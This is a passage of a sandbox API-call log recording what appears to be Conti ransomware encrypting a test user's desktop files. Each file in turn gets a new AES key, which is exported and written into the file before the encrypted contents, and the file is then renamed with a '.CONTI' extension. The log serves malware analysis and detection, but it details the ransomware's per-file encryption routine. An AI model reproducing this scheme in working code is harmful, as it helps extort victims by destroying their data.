	[0137.608] GetLastError () returned 0x0
	[0137.608] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=282) returned 1
	[0137.608] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11a
	[0137.608] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.608] SetEndOfFile (hFile=0x430) returned 1
	[0137.612] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.612] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.612] WriteFile (in: hFile=0x430, lpBuffer=0x6b51044*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b51044*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0137.619] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.619] ReadFile (in: hFile=0x430, lpBuffer=0xe980000, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x11a, lpOverlapped=0x0) returned 1
	[0137.619] CryptEncrypt (in: hKey=0x6b7e9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x11a, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x120) returned 1
	[0137.619] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.619] WriteFile (in: hFile=0x430, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x120, lpOverlapped=0x0) returned 1
	[0137.619] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.619] WriteFile (in: hFile=0x430, lpBuffer=0x6b51038*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b51038*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0137.619] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.619] CloseHandle (hObject=0x430) returned 1
	[0137.619] GetProcessHeap () returned 0x1720000
	[0137.619] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.619] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\desktop.ini") returned="C:\\Users\\FD1HVy\\Desktop\\desktop.ini"
	[0137.619] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\desktop.ini.CONTI"
	[0137.619] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini.conti")) returned 1
	[0137.620] GetProcessHeap () returned 0x1720000
	[0137.620] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.620] CryptDestroyKey (hKey=0x6b7e9f8) returned 1
	[0137.620] GetProcessHeap () returned 0x1720000
	[0137.620] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d058 | out: hHeap=0x1720000) returned 1
	[0137.620] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0137.620] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d980 | out: phKey=0x6b4d980*=0x6b7ec78) returned 1
	[0137.620] CryptExportKey (in: hKey=0x6b7ec78, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d984, pdwDataLen=0x4fbf86c | out: pbData=0x6b4d984*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0137.621] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FJXGDLS.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fjxgdls.wav")) returned 0x20
	[0137.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FJXGDLS.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fjxgdls.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0137.621] GetLastError () returned 0x0
	[0137.621] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=15295) returned 1
	[0137.621] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3bbf
	[0137.621] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.621] SetEndOfFile (hFile=0x430) returned 1
	[0137.621] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.621] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.621] WriteFile (in: hFile=0x430, lpBuffer=0x6b4d984*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4d984*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0137.623] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.623] ReadFile (in: hFile=0x430, lpBuffer=0xe980000, nNumberOfBytesToRead=0x3bbf, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x3bbf, lpOverlapped=0x0) returned 1
	[0137.623] CryptEncrypt (in: hKey=0x6b7ec78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x3bbf, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x3bc0) returned 1
	[0137.623] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.623] WriteFile (in: hFile=0x430, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x3bc0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x3bc0, lpOverlapped=0x0) returned 1
	[0137.623] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.623] WriteFile (in: hFile=0x430, lpBuffer=0x6b4d978*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4d978*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0137.624] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.624] CloseHandle (hObject=0x430) returned 1
	[0137.624] GetProcessHeap () returned 0x1720000
	[0137.624] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.624] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\FJXGDLS.wav" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\FJXGDLS.wav") returned="C:\\Users\\FD1HVy\\Desktop\\FJXGDLS.wav"
	[0137.624] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\FJXGDLS.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\FJXGDLS.wav.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\FJXGDLS.wav.CONTI"
	[0137.624] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\FJXGDLS.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fjxgdls.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\FJXGDLS.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\fjxgdls.wav.conti")) returned 1
	[0137.627] GetProcessHeap () returned 0x1720000
	[0137.627] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.627] CryptDestroyKey (hKey=0x6b7ec78) returned 1
	[0137.627] GetProcessHeap () returned 0x1720000
	[0137.627] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d0f8 | out: hHeap=0x1720000) returned 1
	[0137.627] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0137.627] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4dbc8 | out: phKey=0x6b4dbc8*=0x6b7e778) returned 1
	[0137.627] CryptExportKey (in: hKey=0x6b7e778, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4dbcc, pdwDataLen=0x4fbf86c | out: pbData=0x6b4dbcc*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0137.629] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\foqBu9OVjl.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\foqbu9ovjl.bmp")) returned 0x20
	[0137.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\foqBu9OVjl.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\foqbu9ovjl.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0137.629] GetLastError () returned 0x0
	[0137.629] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=1153) returned 1
	[0137.629] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x481
	[0137.629] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.629] SetEndOfFile (hFile=0x430) returned 1
	[0137.631] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.632] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.632] WriteFile (in: hFile=0x430, lpBuffer=0x6b4dbcc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4dbcc*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0137.638] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.638] ReadFile (in: hFile=0x430, lpBuffer=0xe980000, nNumberOfBytesToRead=0x481, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x481, lpOverlapped=0x0) returned 1
	[0137.638] CryptEncrypt (in: hKey=0x6b7e778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x481, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x490) returned 1
	[0137.638] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.638] WriteFile (in: hFile=0x430, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x490, lpOverlapped=0x0) returned 1
	[0137.638] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.638] WriteFile (in: hFile=0x430, lpBuffer=0x6b4dbc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4dbc0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0137.638] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.638] CloseHandle (hObject=0x430) returned 1
	[0137.638] GetProcessHeap () returned 0x1720000
	[0137.638] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.638] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\foqBu9OVjl.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\foqBu9OVjl.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\foqBu9OVjl.bmp"
	[0137.638] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\foqBu9OVjl.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\foqBu9OVjl.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\foqBu9OVjl.bmp.CONTI"
	[0137.638] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\foqBu9OVjl.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\foqbu9ovjl.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\foqBu9OVjl.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\foqbu9ovjl.bmp.conti")) returned 1
	[0137.639] GetProcessHeap () returned 0x1720000
	[0137.639] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.639] CryptDestroyKey (hKey=0x6b7e778) returned 1
	[0137.639] GetProcessHeap () returned 0x1720000
	[0137.639] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17becb0 | out: hHeap=0x1720000) returned 1
	[0137.639] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0137.639] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b53de0 | out: phKey=0x6b53de0*=0x6b7edb8) returned 1
	[0137.639] CryptExportKey (in: hKey=0x6b7edb8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53de4, pdwDataLen=0x4fbf86c | out: pbData=0x6b53de4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0137.640] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\3M1MSQeF6goU.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\3m1msqef6gou.gif")) returned 0x20
	[0137.640] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\3M1MSQeF6goU.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\3m1msqef6gou.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0137.640] GetLastError () returned 0x0
	[0137.640] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=43306) returned 1
	[0137.640] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa92a
	[0137.640] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.640] SetEndOfFile (hFile=0x430) returned 1
	[0137.640] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.641] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.641] WriteFile (in: hFile=0x430, lpBuffer=0x6b53de4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b53de4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0137.647] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.648] ReadFile (in: hFile=0x430, lpBuffer=0xe980000, nNumberOfBytesToRead=0xa92a, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0xa92a, lpOverlapped=0x0) returned 1
	[0137.649] CryptEncrypt (in: hKey=0x6b7edb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xa92a, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xa930) returned 1
	[0137.649] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.649] WriteFile (in: hFile=0x430, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0xa930, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0xa930, lpOverlapped=0x0) returned 1
	[0137.649] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.649] WriteFile (in: hFile=0x430, lpBuffer=0x6b53dd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b53dd8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0137.650] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.650] CloseHandle (hObject=0x430) returned 1
	[0137.650] GetProcessHeap () returned 0x1720000
	[0137.650] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.650] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\3M1MSQeF6goU.gif" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\3M1MSQeF6goU.gif") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\3M1MSQeF6goU.gif"
	[0137.650] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\3M1MSQeF6goU.gif", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\3M1MSQeF6goU.gif.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\3M1MSQeF6goU.gif.CONTI"
	[0137.650] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\3M1MSQeF6goU.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\3m1msqef6gou.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\3M1MSQeF6goU.gif.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\3m1msqef6gou.gif.conti")) returned 1
	[0137.650] GetProcessHeap () returned 0x1720000
	[0137.650] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.650] CryptDestroyKey (hKey=0x6b7edb8) returned 1
	[0137.650] GetProcessHeap () returned 0x1720000
	[0137.650] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65de7d0 | out: hHeap=0x1720000) returned 1
	[0137.650] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0137.650] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b524c8 | out: phKey=0x6b524c8*=0x6b7ebf8) returned 1
	[0137.651] CryptExportKey (in: hKey=0x6b7ebf8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b524cc, pdwDataLen=0x4fbf86c | out: pbData=0x6b524cc*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0137.651] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Gfs6kM.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\gfs6km.m4a")) returned 0x20
	[0137.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Gfs6kM.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\gfs6km.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0137.652] GetLastError () returned 0x0
	[0137.652] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=40007) returned 1
	[0137.652] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9c47
	[0137.652] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.652] SetEndOfFile (hFile=0x430) returned 1
	[0137.652] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.652] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.652] WriteFile (in: hFile=0x430, lpBuffer=0x6b524cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b524cc*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0137.661] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.661] ReadFile (in: hFile=0x430, lpBuffer=0xe980000, nNumberOfBytesToRead=0x9c47, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x9c47, lpOverlapped=0x0) returned 1
	[0137.662] CryptEncrypt (in: hKey=0x6b7ebf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x9c47, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x9c50) returned 1
	[0137.662] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.662] WriteFile (in: hFile=0x430, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x9c50, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x9c50, lpOverlapped=0x0) returned 1
	[0137.662] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.663] WriteFile (in: hFile=0x430, lpBuffer=0x6b524c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b524c0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0137.663] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.663] CloseHandle (hObject=0x430) returned 1
	[0137.663] GetProcessHeap () returned 0x1720000
	[0137.663] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.663] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Gfs6kM.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Gfs6kM.m4a") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Gfs6kM.m4a"
	[0137.663] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Gfs6kM.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Gfs6kM.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Gfs6kM.m4a.CONTI"
